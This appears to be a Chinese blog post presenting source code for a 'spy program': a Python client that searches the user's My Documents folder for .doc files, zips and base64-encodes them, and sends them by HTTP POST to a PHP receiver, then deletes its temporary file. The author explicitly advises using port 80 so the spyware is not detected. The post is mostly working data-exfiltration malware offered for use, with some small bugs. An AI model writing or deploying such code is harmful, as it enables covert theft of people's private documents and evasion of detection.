上一篇 间谍程序传输文件 socket编程 其实有两点不好:
1、作为间谍程序,自己开2000端口,很容易被发现,应该走80端口
2、用PHP作服务端比用python直接IP开server socket 简单,自然且稳定一点(也就一点啦)
server.php
<?php
function unzip_file($file, $destination){
//php.ini 中 的extension=php_zip.dll 要解注释
$zip = new ZipArchive() ;
if ($zip->open($file) !== TRUE) {
die ('Could not open archive');
}
$zip->extractTo($destination);
$zip->close();
echo 'ok'."<br/>";
}
$path = iconv("UTF-8","gb2312","C:\\Documents and Settings\\Administrator\\桌面");
$filename = $path +"\\out.zip";
echo $filename."<br/>";
$fp = fopen($filename,"wb");
$encode_data = file_get_contents("php://input");
$decode_data = base64_decode($encode_data);
fwrite($fp,$decode_data);
unzip_file($filename,$path);
echo "finished!"."<br/>"
?>
# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
import urllib2,urllib,httplib
def walk_dir(dir,filelist,extName,topdown=True):
for root, dirs, files in os.walk(dir, topdown):
for name in files:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
for name in dirs:
if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
filelist.append(os.path.join(root,name))
def post_data(data,HOST,PORT):
conn = httplib.HTTPConnection(HOST,PORT)
conn.request('POST','/server.php',data,{})
response = conn.getresponse()
resdata = response.read()
print response
def main():
HOST = '127.0.0.1'
PORT = 80
BUF_SIZE = 65535
key = 'ouyang'
dicName = "C:\Documents and Settings\Administrator\我的文档"
extName = '.doc'
#遍历搜索我的文档的doc类型
try:
filelist = []
walk_dir(dicName,filelist,extName)
except IOError,e:
print "文件处理错误: " % e
sys.exit(-1)
#压缩成zip文件
zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
for f in filelist:
zfile.write(f)
zfile.close()
#base 2进制 加密 encode(infile,outfile)
infile = open('in.zip','rb')
tmpfile = open('in.tmp','wb')
base64.encode(infile,tmpfile)
infile.close()
tmpfile.close()
#send
tmpfile = open('in.tmp','rb')
post_data(tmpfile.read(),HOST,PORT)
tmpfile.close()
#后续处理 删除中间文件
os.remove('in.tmp')
if __name__=='__main__':
main()